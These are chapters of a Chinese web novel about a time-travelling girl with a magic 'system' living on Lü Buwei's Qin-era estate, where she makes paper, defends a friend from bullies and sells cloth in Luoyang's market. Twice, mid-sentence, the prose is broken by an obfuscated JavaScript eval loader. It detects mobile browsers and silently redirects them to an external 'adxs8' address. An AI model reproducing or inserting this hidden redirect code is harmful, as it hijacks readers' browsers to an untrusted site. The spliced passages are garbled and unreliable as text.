小满支支吾吾，思考说是造纸，对方能不能理解？最后选择了一个省事的说法，“我要用来涂墙。” 对方打量了小满好几遍，确定对方不是在开玩笑，只是在欺诈耍人而已，最后给出一个不卖的回答。 “诶。”小满还想再说什么，女主人进门来提醒，“天黑了，扬在唤你呢。” 小满犹豫了一下，与女主人告别，回到住的地方。 到家时夜幕降临，扬准备好的夕食还在锅里，小满放下背篓去洗手准备用餐。 因为光线暗了，桌案上点了一豆油灯。古人一般日出而作，日落而息，除了娱乐活动少，还因为夜间照明不便，油灯蜡烛都是珍贵的物什。 小满迅速吃完饭去洗漱休息。 次日，因为觉得树皮已经够了，小满没有着急去小河边。两人效率有限，要真想开造纸坊恐怕需要积累些起始资金，再行招募人手。 小满犹豫了一下，今天是先去弄来生石灰，还是去完成系统采集任务。加上准备食物的功夫，到的时间比昨日晚了些。 只是今天煦没有那么准时的在河边等着，小满等了一会儿，没有见到人影，便去昨天两人劈砍树枝的地方找了一圈。 4. 04吕氏姜姓 小满一直找到了树林深处，见到了煦昨天砍的另一堆构树，依旧没见煦的身影。 剩饭吃拉肚子了？还是出什么意外了？小满想去下游村庄找人，只是一来不确定地方，二来万一对方正在来的路上，便是白白错过。 小满一边在周边采集植物，一边等着看煦会不会来，一直等到十一点，任务都完成十几个了，还是不见半分人影。 不会真出什么意外了吧？这时间发现也凉了吧？ 人死了会有魂魄吗？或者说是意识体？就像她一样。 那古往今来这么多生老病死的人，会不会某个鬼魂正在某个地方看着她。 随意发散了一下思维，突然觉得浑身凉飕飕的，一个人呆这荒山野岭还有点瘆得慌。 小满呼唤起了系统，“系统，你能定位煦的位置吗？” 系统遗憾（并不）回答，【不能】 不能就不能吧，好歹吱了一声有个陪伴，小满收好东西，朝山林外面走去。 小满刚走出山林，山坡之上能看到穿流而过的小河，就听到叮咚一声系统提示，【你的伙伴正被人围殴。】 “啊？” 小满反应了一声，根据系统提示，一眼扫过去，就看到那段矮墙附近，有几个少年正在僵持，被围在中间的正是煦。 小满倒吸一口凉气，“这时候出去会被打死吧？这人看着闷不声的，怎么会惹上这群人？” 小满站在山坡上，鼓足气力朝下面喊了一声，“喂，做什么呢？打架犯法啊。”小满自以为猛虎咆哮，那群恶少年却没什么威慑力。 等小满随手收了背篓放入空间，拎着衣服小跑着靠近，煦已经被四五个人按倒，挣扎不起来。 对方人多，还是先讲道理吧。 为防止被认为是一伙的，贸然攻击，小满悄悄把一直拎着的药锄藏在身后。 然后站在几丈远的地方，威胁道：“你们做什么打人，快放开他，不然我就报官了。” 一个一直站在矮墙上指挥的少年跳下来，听见报官笑了一声，“我们正捉贼拿盗，小丫头不要搅乱。” 小满一头雾水，“什么贼什么盗？”地上不断挣扎的煦脸色通红，但是衣着打扮还是原来的样子，没有多什么不该多的东西。 “前几日有人见这小贼在河边徘徊，企图捕捞鱼虾，今天这小子又在水边停留，有人报我，我们来时，他还在墙内偷东西，二三子都看见了。” 没想到在水边玩耍还能成罪名。 捕虾都不行，这河是你家的啊？ 古代大户豪族好像是能田连阡陌，占几个山头河流什么的，比土匪还厉害。 小满对此无语可吐槽，只能继续讲理，“捉贼见赃，他身边手无长物，到底偷了什么东西？” 少年突然笑了起来，少年长的白皙细嫩，笑起来一团和气，穿着绸衣，衣裳纹绣饰玉，看起来神气十足。 只是那神情带着说不清的恶意。 “他旬日之前就曾摔死羊羔，意图侵占主家财物，难道饿了几天会突然变成圣人？刚才他越到墙里，许是要偷那些树皮。二三子觉得，吾说的对不对？” 周围响起一声声附和，或笑或啐，有人想提起煦，“小贼，你说公子说的对不对？” 那些人力道放松，煦瞅准空隙一撞，掀翻了按着他的人。 那些人笑得小满有些恶寒，忍不住反驳，“那些树皮是我的东西……” 刚说了一句，就被暴起打翻一圈人的煦拉着跑了起来。 小满措不及防，但是后面的人已经开始追了，只好跟着跑了起来，小满因为要干活，衣裳尽量精简了，所以还能跑得起来。 煦麻衣简陋，长手长脚，步伐更是飞快，只是耐不住跟了个腿短的，还是被反应过来的恶少年们追的越来越近。 “去哪？” “山林里。”煦没有被越追越近的经历，一般都能甩开这些人，现在带着姜小满没法更快，企图用地形优势阻隔。 跑到河边小桥附近，小满已经喘不上气了，感觉这小身板不支持这运动量，甩开煦的手。 “分开跑吧。你过了河折回去，到那边庄里最高的门院，找一个叫扬的。” 虽然不知道扬能不能救一下，总比她有经验点。大不了赔点钱。 说完小满便朝另一个方向快步走去，煦看着迫近的追逐，迟疑了一下按她说的去做。 那些人目标是自己，应该不会为难一个小女孩。 见煦依言离开，小满放慢了脚步，缓缓平复着呼吸。 一堆人越过河去追煦，那个锦衣少年跑到桥边已经落后了一里地，远远看着那边猪突猛进兔起鹘落间距离越拉越大。 这边又折回来的小满，看起来像沿着河边漫步。 少年看起来十分不满意，“怎么不跑了？” 小满手中拎着的药锄已经收回系统空间了，运动过量后，整个人有点半死不活，“我为什么要跑？” “这山林河田都是有主之物，你砍了相邦的树，不多久便会有人抓你去牢狱，你家里人也会被牵连。” 小满原本正迈着僵尸似的步伐，缓缓向前走，闻言还是停下，“哦，那这山林是谁人所种，谁人所有？” 对方忽略了前一句，理直气壮，“当然是相邦所有。” 小满气息淡淡的，“就算你说的对，那会受到什么刑罚？” 少年愣了一下，然后看向还落在他后面的一个少年，“午，你说她会受到什么惩罚。” 瘦弱的少年加快脚步，站到老大身后，“偷盗吗？” “不盈一钱，罚劳役三十天，不盈二百二十至一钱，迁之。”一钱就要罚劳役，没有罚款项吗？ “那个小贼煦，偷盗的匕首不知价几许，估计要黥为城旦……” 午说着比比划划做鬼脸，“黥你知道吧？就是在脸上刺字涂墨，黑乎乎一大团。” “什么匕首？”小满疑问，不会是她给煦那个吧？ 少年朝午递了个眼色，“没什么，我会让家吏来问罪责的，若家里人有银钱爵位，说不定还能抵罪。” 然后看着小满冷笑一声，“看你做出偷伐树木的事，料你也没有什么财产。” 这个还真没有。 她刚醒来时身边只有扬守着，后面几天康复也是扬在照料，她曾借着病痛做小儿情态，闹着找父母，想从话语中打听一些消息。 可扬只是又悲又愤，只说她承父亲的姓姜。姜父在离这很远的地方。 那是个薄情寡义，负心人，丢下妻子不闻不问，已经有四五年了。 知道这是吕不韦的庄子之后，她还猜测着自己会与大名鼎鼎的商人有什么关系，结果自己姓姜。 去了很远的地方，小满估摸着约莫是噶了的委婉说法。 扬对她的母亲倒是推崇之至，唤为姬夫人，其人美貌善良，有神异之处，可也吞吞吐吐，说不出什么有用信息。 亲人，财产是没有了。 但是她拥有的东西，能换钱的不止一样，如果操作得当，能换到的，会是无法想象的财富。 比如之前的匕首。 小满听着他们转移话题，看到锦衣少年怀里露出来的木柄有些眼熟，小满眯了眯眼睛，“你们说的是一把银色的小刀吗？那个是我送给他的。” 少年顺着小满视线，按了按胸前，将匕首塞进去，“你的？你如何得到的？” 小满不肯明说，“这个并不相关，你只需要知道那个不是煦偷的便是了。” 那个叫午的少年，忽然凑到跟前，附耳说了句话。 听到午的猜测，打量小满一下，衣着简单，但是材质样式，看起来确实不是贫苦人家子女，终于想起问道：“你是什么人？” 小满也不知道自己是什么人，总之不会被轻易拿捏罢了，她居所后还有一队护卫呢。 于是昂首道：“我姓姜，本地大户，听过没？” 姜姓作为上古姓氏，又有周室封的诸侯，绵延几百年，这个姓并不稀奇。 但少年像被卡住了脖子，他知道一个人—— 大秦相邦吕不韦。 吕氏姜姓。 不止是这片土地的主人，还是他家的主人。 少年一时有点迷茫，随手指向池子那边，“你去那边等着吧，会有吏臣来问你的罪责的。”然后扯着跟班就开溜了。 小满来到水池旁边，考虑着是把树皮秸秆都处理了，消除证据，还是等会儿看看到底是什么罪名？ 站没多久，发现浸渍秸秆那一池子边缘有点白沫，于是呼唤系统，“系统系统，这是正常的吗？” 系统：【微生物活动，是正常发酵过程呢。】 不知过了多久，小满没等来吏臣，反而等来了扬。 扬看见小满孤身在水边发愣，连声问道：“小主人，你怎么在这？是谁欺负你了？” 历史上都说秦国严刑酷法，加上她一些所闻，私斗犯法，酿酒犯法什么的，似乎处处都很严苛。 于是小满心里也没底，带着点委屈道： “阿姐，我在那边山林砍了一些树枝，树皮，有人说这个是相邦的财物，我犯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230774|165936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷窃的罪，要我去服劳役。” “月儿毋忧，没有这么严重。山林虽然属于秦国所有，但是也有民众依规使用的条例的。” 平民生存不只种地，还有渔樵猎牧，这些大部分都要采用山川林泽的物产，除了私人领地，没有明令禁止的。 只是使用国家的山林，水泽，矿产，需要交纳租税。 还有春季禁止采伐；禁止采集刚发芽的植物和捕捉幼兽、幼鸟，禁猎期禁制捕杀等种种限制。① 汉朝时就算皇家园林的范围，偶然情况下有的宽容君主也会允许平民取用，只是这情况在秦朝是不许的。 如果说这是相邦的私产，扬对那些秦律没那么清楚，只是凭借朴素的感情，并不认为子女取用了父亲的东西算是偷盗。 何况这些算是秦相邦接收洛邑时，姬夫人的家族作为投诚献上的资产，只是可惜姬夫人已经离去，吕不韦在咸阳沉迷权势不闻不问，没有人能护着她留下的血脉。 所以就这么任人欺负吗？ 扬带着小满去找给她们派发柴米的家吏获，倒要问问周边的山林她们有没有权取用。 获好像已经知道发生的事，一脸为难的让扬不要与孺子计较。 然后悄悄的说，“这些田宅山林是相邦私属，除了君侯和夫人亲至，没有人能问罪少主人，不过你们也不要闹大了，那边对这不上心，如果让相邦去裁决，恐怕会被跟前的人蛊惑。” 最后暗暗点明，“季康是家丞卫的儿子，其母兄在相邦门下充任门客，正是风光的时候。” 这边家丞是家吏之长，按理说还管着她们衣食供应，那边对方人脉作为门客，可以近水楼台定计献策，听起来处处被限制了一头。 扬看了家吏一眼，倒是清楚这人为什么提醒自己，毕竟他直接经手小主人衣食也有油水可捞。 无人注意的角落，这边算是一个脆弱的平衡，这种相安无事，各方都好。 如果出事了，这种直接责任人那肯定是跑不过的。 就像姬夫人之前离开，身边媵妾近人被叫走，都再无音讯。 少了许多贴身的人，所以才让几年前，偶然在人市被姬夫人买下的她照顾小主子。 小满跟煦跟在后面做个影子听了全程，小满不由心神巨震，她的便宜爹，居然真是吕不韦。 她为什么不姓吕，而且还被扔在这边，难道是私生女吗？ 不过也好，她也不太想叫一对陌生人父母。 另一边，家丞卫得到逆子闯祸的消息，简直想打人。 “竖子，那是君侯家姝，姬夫人的子女，你怎么如此眼拙……” 君侯的子女，就算不受宠爱也不是他们能随意欺辱的。 他们代管采邑政务，比隶臣妾高一级。君候不在食邑时，家丞之位，某种程度上可比一县县令。 可说到底他们还是服务于主人，介于主与仆之间的位置。 “姬夫人？” 姬夫人长久居住在洛阳，与这些吕氏家臣自然会过面。 季康脑海中浮现出一个清丽明媚的女子身影，不由可惜夫人怎么会有这么粗俗的女儿？ 还好他这傻儿子没酿成什么大祸，姬夫人离去，那女童也没什么倚仗。 之前姬夫人离开，咸阳那边也是不管不顾放任的意思，那就不必去在意。 几人回到住的院落，走在后面的煦拉了一下小满，悄声道：“你送我的匕首被季康抢走了。” 小满点头，没在意他口中送的意思，也没看到，对方不知道为啥已经羞耻的耳根红了。 她通过系统查阅了一下，后世考古还原出来的秦律，确实有如果一人偷盗，同住的人也会被连坐的案例。 像季康那种明抢，还聚众明抢的，不知道够不够得着群盗。 煦看着小满细胳膊细腿的，觉得把人家没要回的匕首理解为赠送，已经很羞耻了。 如果再让一个小女孩去讨要，简直愧为男子。 她没有反驳那是送给他的。既然送给他，那就是他的了。 人生在世，如果连自己的东西都不能保住，那还有什么意义？ 他跑得快，力气也大，瞅准时机，未必没有全身而退的可能。 煦想了一番，最终决定道：“我去想办法取回来。” 听见这坚定的语气，小满赶忙把注意力从光屏上收回来，拉住对方，“诶，别去硬碰硬。” 从她刚翻到的律法看，这么贸然去拿回来，那起码得是擅入他人居室吧？ 就算那东西是他们的，有理好像也没理了。 5. 05红薯 小满拉住了想要把匕首抢回来的煦，一时也想不到好的办法把东西要回来，难道直接上门吗。 困难的事先放在一边，小满想起背篓里还有一个匕首，和饭团，问：“你还没用餐吧？” 早上不知为啥不见人影，再见面就是被人围殴，然后高强度运动跑了两圈。 就算吃过也该饿了。 “先找点东西吃吧。”小满把人拉到厨房。 正好甑中还剩了一碗米饭。 只是米饭已经凉了。 三月初的天气，凉饭也不好吃，便让煦坐一边稍等，她再把东西热一下。 加上她也有点饿了，这点米饭恐怕不够吃的。 小满到外面忙忙活活，悄悄把背篓里的米饭取出来，顺手拿了几个暗红色近似纺锤状的物什，一起放在甑中蒸。 没错，今天的签到奖励是红薯，或许是亩产量大的缘故，红薯的签到奖励足足有二十五千克。 红薯实在是抗旱高产，适应性强，无地不宜的好东西。 这东西虽然不能做主食，吃多了会有反酸胃胀等不良症状，但是在生产力不发达的时候实在是救命稻草。 想起土豆红薯这类作物好像是以块茎为种子，结出的果实可以吃也可以直接催芽。 早上小满还纠结了半天，要先尝尝鲜还是先拿来做种子。 上午这么折腾一通，也没心情去做更长远的考虑了。决定吃一部分种一部分。 想起还在生气的扬，小满又取了一点米，放在釜中加了水，一起煮。 小满通开阴燃的火堆，引火加柴，很快烧了起来。 不到一刻钟，釜中水汽冒了起来。 小满估摸着时间，掀开甑上的盖子，那木筷试了试红薯还没熟，便让煦自己取出一碗米饭，坐一边先吃。 等到红薯熟透了，小满取出几个放在簋?中，献宝似的给扬送过去。 “阿姐，你看这是什么？” 新鲜红薯煮熟之后香气四溢，撕开外皮，里面的果肉晶莹剔透，似乎流淌着蜜水，又像宝石一样。 扬早上已经吃过饭了，见两个小孩去厨房以为只是要分享一下食物，也没有干涉。 此时见月儿来献宝，明白这是弄来了新奇的东西。 这几个圆圆的东西，看起来已经是一顿简单的饭食。 主家吃饭，只屏蔽客人一个人在外面就有些不好了，于是扬招呼道：“月儿，喊你朋友过来一起吃啊。” 小满犹豫了一下，她每天家里外面跑，但除了系统没多少完全不为人知的事情。 扬每天照顾她，知道家里没有这个东西。 煦熟悉外面山林，应该也没见过红薯，万一谁一时兴起问了一句，他俩一对账，很容易说不清哪里来的啊。 还是不要太多接触。 好歹让她有个转圜的余地。 于是含糊拒绝道：“没事，釜里还有。” 小满看着扬拿了一个放入口中，“好吃吗？” 扬点点头，“甜。” 而且那果肉似乎不用咀嚼一样，入口即化，比葡陶还要软糯香甜，还有一股奇异的谷物香气。 既像水果，又像粮食。 小满看着扬吃了一个，想起锅里还有粥，除了手中啃了两口的番薯，又从簋中拿了一个，“厨房还有粥，我去端来。” 然后一溜烟跑回厨房。 厨房里，那一碗米饭煦已经吃干净了，湿着手乖巧的坐在原地。 “吃好了啊。这个给你吧。”小满将拿回来的红薯放到煦跟前的木桩上，掀开甑上的盖子，就见另外一团米饭和一个红薯正在里面安稳呆着。 小满把饭团一分为二，准备与扬分吃。毕竟红薯吃多了确实不好，还是吃点主食垫垫肚子。 当然现在可能也没条件让人吃红薯吃多。 继续拿起碗来舀粥，小满觉察到碗壁沾着水迹，转头观察了一下才发现是小伙伴吃完洗了碗。 但是没动甑中给他留的一个红薯。 小满觉得心中似乎被什么触动，不知是酸是涩，又有些好笑，没跟他说是给他的就不去动一下，这个是古代人民的节俭，还是礼貌分寸？ 真是淳朴善良，又有点可爱。 小满停了一会儿，把自己剩下的半个红薯剥开吃了。又把甑中留的红薯递给煦，“这个也给你吧。” 然后就眼睁睁看着煦撕开尝了一口，把皮也塞进了嘴里。 小满来不及阻止，无奈道：“皮，可以不吃。” “好吃。” 两人对视了一会儿，看着对方真诚的眼神，小满只好扶额道：“好吃也可以吃。” 小满分好米饭，盛好粥端去堂室，给扬一起吃点。用完午饭，小满和煦一起出门，一边朝河边走着一边想着要如何取回匕首。 只是能想到的除了违法乱纪，就是硬刚，看县丞会不会臣服于吕不韦女儿的身份，并没有别的思绪。 煦知道季康原本在禁苑那边居住玩耍，两人找了一遍，想先试试讨要回来，也没有找到他的踪迹。 再回到小河边时，发现那里站着两三个人，围着晾晒的树皮正在说着什么，小满走过去却见其中一个朝她走来。 “我是专管本地山林的林长，今天有人告某人私伐树木，吾等已经已于林中找到残枝，在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230775|165936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河边发现树皮，是你等做的吗？” 之前就被叫来问话的里长连忙上前告知，“这是相邦之女，姬夫人血脉，并非违法犯禁之徒。小老儿侍奉少主人衣食所用，砍伐树木的事前日原该与林长说明，只是脑筋老朽一时忘了。” 采邑之内，山林湖泊亦归相邦所属，租税可以免除，只是看所伐的树木都是新生嫩枝，又犯了田律禁止采集刚发芽的植物的条律。 只是这小童身份不同，不可能依律处治。 林长只好皱着眉强调，“勿取新生嫩芽，没有急事不要在禁伐期砍伐树木。” 小满只好低头听训。 等到把人送走，里长长出一口气，与小满行了个礼叹着气离开了。 不多久就是晚饭时间，扬看着灶上新出现的红薯，又想起这些日子所得的新米门外的植物，和经常神神秘秘的小主人。 一时觉得小主人是被什么缠上了，又觉得是神仙赐福，不由开始神神叨叨的祈祷姬夫人能够保佑她的女儿。 直到用完夕食，闩上门准备歇息的时候，扬从床头提来一个小布包交给小满。 “这是什么？” “是夫人留下的东西。”扬低着头打开包裹，“之前由我保管，现在是时候交给你了。” 小满好奇的越过矮案，探头去看，“都有什么？” 扬掏出一册书简，小满坐正接过来，打开，上面写满了字，可惜她不认识。“这是什么？” “日书。” 没过一会儿，系统翻译出来了上面的文字，【诂咎，鬼害民罔行，为民不羊】 【卯，朝见，喜；请命，许。】 【正月营室，利祀】 【三月胃，利入禾粟及屯仓。吉】 【戊子生子，去其邦，北】 《日书》是古代出行，婚嫁，丧葬，劳作，选择时日吉凶宜忌的参考书。 跟后世出门没看黄历的黄历差不多。 比如某天不宜出行，某天适合见上司，某天不宜种植某种作物。 生子对应的时间方位会有什么命运。 除了美好愿望，就是封建迷信。 阿姐语重心长，“月儿，总是碰见怪异之事，可以看看日书，趋吉避凶。” 小满默默放下书简，好的等学会认字了就去给自己算算命。 至于现在，她不认字啊。 布包上还有其他零碎物件，小满拉过来看了一下，一个玉牌，一个陶制的小老虎，几只羽毛，一小块动物皮毛……乱七八糟的，不知有什么用。 小满看着没什么用得上的，还是交还给扬，至于日书什么的，等她识字了再说。 6. 06坊市 次日，小满来到水边，看着发泡泛黄的麦秸有点异样。 经过系统扫描分析，还是投入生石灰保险一点。 于是再次去工匠旦家，想拿米或麦子换点白灰。 女主人没有直接拒绝，只说：“良人说这东西烧人，若想要须在他跟前用，若请他为工最好了。” 小满点头。 没一会儿工匠旦回来了，用工具装了一担白灰，运到水边。 小满一边看着工匠旦用专业的工具掺拌石灰，一边查询系统，盘算能不能打个水力或者畜力的工具代替捶打，将造纸原料撕成纤维。 毕竟这些东西泡好，算时间正是五月农忙的时候，而打浆需要费不少人力，抄纸也需要工具。 到时候不说找不到帮工的人，连做工具的也找不到。 只是不知杠杠轴承磨盘锯齿，什么工具才能更好的撕裂纤维。 她记得造纸术打浆这一步以捶打为主。 小满打开系统搜索，让系统按关键词句查看资料，这次很快发现了之前忽略的水碓这一器械。 特意去查了一下，成熟的水碓出现于东汉，木制为主机械传动，并不复杂。 适合古代工艺，而且正好可以利用水力。 无论做什么还是需要钱。想了一会儿，小满问起旁边的人，“煦，你会驾车吗？” 煦闻言点头，骑马射箭什么的原本是君子六艺，他没机会学。 只是他在兽苑做事，偶尔需要运送牲畜草料，跟一起工作的老人学过驾车。 小满，“那你去我住的地方后院把马车借过来。就说我要用。” 今天的签到奖励是半匹棉布。 第一次抽到这个，小满好奇取出来看过。 布匹整个都是青色，不知采用了什么标准的规格，标签上显示，一匹有三十多米长，半匹是十六点五米。 因材料和质量原因，细密柔软又兼有吸湿透气的优点，就是特点好像有个不太耐磨。 不过比这个时代的产物已经好了不知道多少。 小满记得这个时代，除了稀奇古怪的铜钱，布匹也是可以充当货币的硬通货。 粮和布匹都是赋税的重要项。 十分值钱又暂时用不上的东西，到手没多久，小满就打算拿到城里去卖掉。 就是完成任务获得的棉花种子还在她系统空间没有种下，现在棉花应该还没传入，不知道这材质，这时代认可不认可。 小满顺着查看了一下，这个时代布匹，最小尺幅是长八尺，宽二尺五寸可以上市流通。 又觉得将近十七米确实有点大了，便让系统把布匹分成五米左右一副，取出一副放在隐蔽的地方，等着迟会儿装车。 旁边盖着稻米麦子盐巴稻草，既做遮挡也可以一起去问问价格。 玩了一会儿，看着石灰与水反应结束，逐渐冷却。 稻草那一池子石灰水铺洒完成。 趁着结束，小满拿了一根树枝与工匠旦讲述着画出水碓的大概形态布置。 确认可以做出来，只是不知能不能做到她说的借水力自转。 小满点点头，她还是相信经过古代群众检验的发明的。 确定要做的话，得赶到农忙之前。 小满问了一下这东西做出来要用的时间，确定来得及，便道：“多谢阿叔，若是确定好了到时候还得麻烦你，今天的白灰和做工，这些麦子够付吗？” 工匠旦瞟了一眼，没有接过，“不必这个东西。” “怎么能不要呢？阿叔若有其他缺的，我这也有一点盐巴。” 她手里拎着的是二十斤麦子，估摸着应该够支付的。 现在看着工匠毫不犹豫拒绝的样子，怀疑自己低估了工匠的收入，有点后悔没事先问好了。 “不。” 工匠犹豫了一下，指着那堆东西道：“你扯回来的布作价多少？能卖我一副吗？” 小满闻言把布抽出来，在一旁的台子上展开，“阿叔要多少？” “一尺即可。”工匠抽出尺子比划了一下，“做工容易磨损，妻总嫌衣服坏的快，我看这布细密，当补垫在衣服上，应该能得妻的喜欢。” 小满量了一下，订好尺寸，折起。 掏出小刀从中间割开。 工匠旦将布折好，捏着手感确实不同粗布葛麻，然后从另一个兜里抽出一串铜钱。“这布瞧着不同其他，不知市价几何？” 石灰还没算钱，这怎么好意思要呢？ 小满摆摆手，“这也不是丝绸锦帛，不值得什么，你拿走吧。” 工匠旦没有过多推辞，“那下次做工，我给你多找些匠作来。” 小满点头应允。 目送工匠离开，小满看着系统页面上，剩下的两卷和一个两米长的余布。 敲了敲系统，“能换成符合朝代的粗布吗？” 布匹虽然能看出经线纬线，但还是像工业出品的。 【可以的】 光屏上图标闪了闪，给她指出兑换同品类物品选项。 小满查看了一下，能兑换的布匹最粗的也就是后世的土布。 比她空间里的要厚，看起来更结实，按重量算，就会短一点。 不过可以调换颜色，黑色，褐色，红色，蓝色，不同的颜色只需要一二点积分。 小满又去看其他的商品，细盐可以兑换成粗盐，不仅不要积分，还能加个几分重量，或者是杂质？ 稻米可以兑换成带壳的，也能多几两，麦子可以兑换成面粉，这个会减几两的重量。 小满：……总感觉小看这系统了。 “能直接兑换钱吗？” 【不可以】 【但可以兑换值钱的】 然后页面刷新，拉出一页，金银珠宝，绫罗绸缎，搁哪个时空都是值钱的东西。 “金，十积分兑换一两，百分之九十九足金。” “银，一积分兑换十两，百分之九十九足银。” 珍珠，各种颜色大小形状一到十积分不等，宝石同样如此。 至于绫罗绸缎，起步十积分，更多的是几十积分到一百积分。 匆匆扫了一遍，小满开始换算，一两黄金五十克，十积分兑换粮食二十斤到五十斤，除了战争动荡年代，到哪都是天价。 小满一边流口水一边按耐下兑换的手，默念现在有人盯着，不能上山挖野菜，积分很重要，粮种也很重要，金子又不能吃…… 但是能换好多东西啊。 看了一圈，小满终于按下蠢蠢欲动的手，将晒好的树皮浸到石灰水中，检查完堵好了进水口和出水口。 确认没什么纰漏，便将米面杂物装进背篓。 没过一会儿，被安排了事情的煦回来复命。 “马车已经停在庄子路口了。” 小满点点头，让煦背着背篓，自己抱着布匹向村口走去。 驾车走了大半时辰，终于来到洛阳城外。 城楼高耸，道路宽阔，城门巍峨，人和车马走不同的通道，黔首排着队，但并没有一个个检查。 两人驾着车走了有辙印的那一边，顺利入城后，煦驾着马车直接来到了市场。 小满指向背篓，那里有她分装的二十斤稻米，麦子和半斤食盐。 “这里面的东西归你了。” 小满曾经询问过，他家里一起生活的还有一个生病的母亲。 以前一家人在一起，还能种地织布，后来父亲去世，母亲生病。 慢慢卖了织机田地，阿兄出去佣耕为生，他则成为了兽园羊倌，日子只是勉强为继。 小满并不太有兴趣给旁人做饭，加上家里还有家属，给少了不够吃，给多了还得分着吃，索性给些东西让他自己决定。 何况哪里有主公给跟班做饭的事情呢？ “是，谢贵人。”煦顿了一下，躬身行礼。 “不必如此。”小满摆摆手，扛着布大步走入市场。 文信侯商人出身，对农商之事多有宽容，尤其是在自己领地。 虽然规则大体上遵从秦律，细节上却没有苛求，加上洛阳为周朝都城数百年，其繁华程度，比咸阳还要有过之无不及。 市坊之中不止有路两侧石台之上摆摊的，有些有木架顶棚，有些甚至有店面商柜，看起来是长期驻扎行商的商号。 路边摊贩摆着售卖的锅碗瓢盆，鼎鬲甑簋，多是陶器瓦器或者竹编木制。 偶有铜铁制成的不包括木柄的农具器件放在棚子里售卖。 精致一些的粮米菽麦和布匹成衣等衣食相关，甚至都在铺子里供应。 另一边是卖些鸡鸭羊猪等幼畜，还有鞋履，竹简，及许多各种材质的看不出用途的器具，奇怪的是许多商品都有木牌标示价格。 市场庞大，人来人往，小满左右看了几圈。 不知道是商品经济不发达，还是平稳时期物价较低，许多东西挂的价格都说得上便宜。 小满最后选了最大的那家卖衣布的商铺，“掌柜，铺子做衣裳吗？ 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这一算工费一百多钱哪。 小满立马收回了手，毕竟外面粮食那么便宜，种田也不挣钱。 古代平民大概是没有里衣的，有的也只是布料好点，样式简单一些的单衣。 毕竟小满看了一圈，类似里衣的衣服少的可怜，当然也可能是这种私密衣服，古代人都是自己做。 看过城里物价，和系统出手的金银，小满也不太急迫拿着布匹换钱了。 看着老板频繁落在布匹上的目光，好奇道：“掌柜可看出来这是什么料子？” “比葛麻细腻，又没有绸缎光滑，不知什么材料，不过纺织人一定是高手。” 老板倒是很有兴趣，“你看这线细如蚕丝，不是蚕丝能纺成这样已经是不易，织在一起能这么细密紧实，绝对是行家里手。” “哈哈，你说的对。”小满认同道：“掌柜觉得这布匹应该作价几何？” 老板眼睛转了转，顺势打开布匹用手量了一下，“这布匹宽有六尺余，长……” 布匹卷在一起，不好打开，小满直接道，“一丈七尺。” 听见这个数字，掌柜的砸了砸舌，“按市价……”市上没有这样的布匹。 商人低买高卖，诚信二字本来是自由心证，但是在秦国律法甚严，却不得不讲这两个字。 秦法市律，不但要求超过一钱的商品要标价，还有市不二价的要求。 就是同样规格材质的东西，价格也有规定。 这个布匹他打开来看，宽度已经是夸张了，长度更是异常，走遍六国，他还真没见过如此大的织机。 “敢问阁下是哪里的人？”掌柜禁不住问。 这小童说话口音有点像燕地之人，但是不太明显，用词虽然偶有怪异，但是他都能听懂。 “我是很远的地方来的，听说洛阳曾为周室王城，繁华异常，前来见识一二。” 知道或许是被看出来了破绽，小满把布匹再次折好收起。低调行事。 指着一开始看上的衣服，问起了惦念的另一个事，“掌柜的，那衣服尺寸样式买不？” “尺寸样式？” 这也能卖？ 听完小满要求，老板取出来两个木条，指着上面的刻痕，这是肩位，这是袖长，这个位置翻三下是衣长。 小满从袖子里摸出系统兑换的一两黄金，作为付款，顺便让掌柜找零。 谁知被掌柜推开，“这个不算什么，若有机会，更想见识一下贵家的织机。” 那机会不大，最起码恐怕要等个几十年了。 “有机会的话。”小满笑笑。 小满走出门来，借视角遮掩将布匹收回空间，比她手掌大不了多少的金饼也收回袖子，让系统分成小份。 出门没走多远，便看见煦扶着背篓，御着马车等着她。坐上马车，小满看着背篓中安稳呆着的稻米，问：“现在便回去吗？” 她以为对方会把这些稻米换成麦或者菽一类，毕竟目前的她还只是个不稳定的食物来源，这次给了这么多，下一次就不一定是什么时候了。 如果她是对方确实会做这样的选择。 走出市场范围，煦犹豫一下，低声道：“秦国粮价较高，秦律不许黔首买卖粮食。” “我想去鬼市，把这些卖出去再回去，可以吗？” 7. 07匕首 还有这回事？ 粮价较高，但是不允许黔首和商人买卖。 小满跟着低声问：“为什么？” 煦低下眼睛，“曾听吏臣说，是为了防止商人低价买粮，将粮食运到别的国家。各国虽有平籴法平抑粮价，但是秦国粮食都是官府收购，丰年不会低价，歉年不会大涨。” 平籴法就是粮食收获时官府平价购入粮食，存在粮仓中，以防大户把粮食压的太低，影响平民生计，然后在收税赋之后或者青黄不接，粮食涨价时，平价卖出。 这个最初是以商治国的管仲提出的，各国都有所借鉴。 不过秦国是写进律法里的。 原来这种调控价格手段这么早就有了？就是秦国强制执行未免太过严厉。 不过这也正是秦法优胜之处，考虑周全，令行禁止。 “好，走吧。”小满一挥手，“去鬼市。” 所谓鬼市不是跟阿飘交易的市场，也不是只有夜晚才开。 只是不是官方开的市坊而已。 她们到时约是申时，正是行市的时候。鬼市之中各色商品贵贱都有，不止有米面粮食，还有酒肆肉摊，漆器玉石。 民生相关，贵族享用，琳琅满目。 有些看起来来路不太正常。 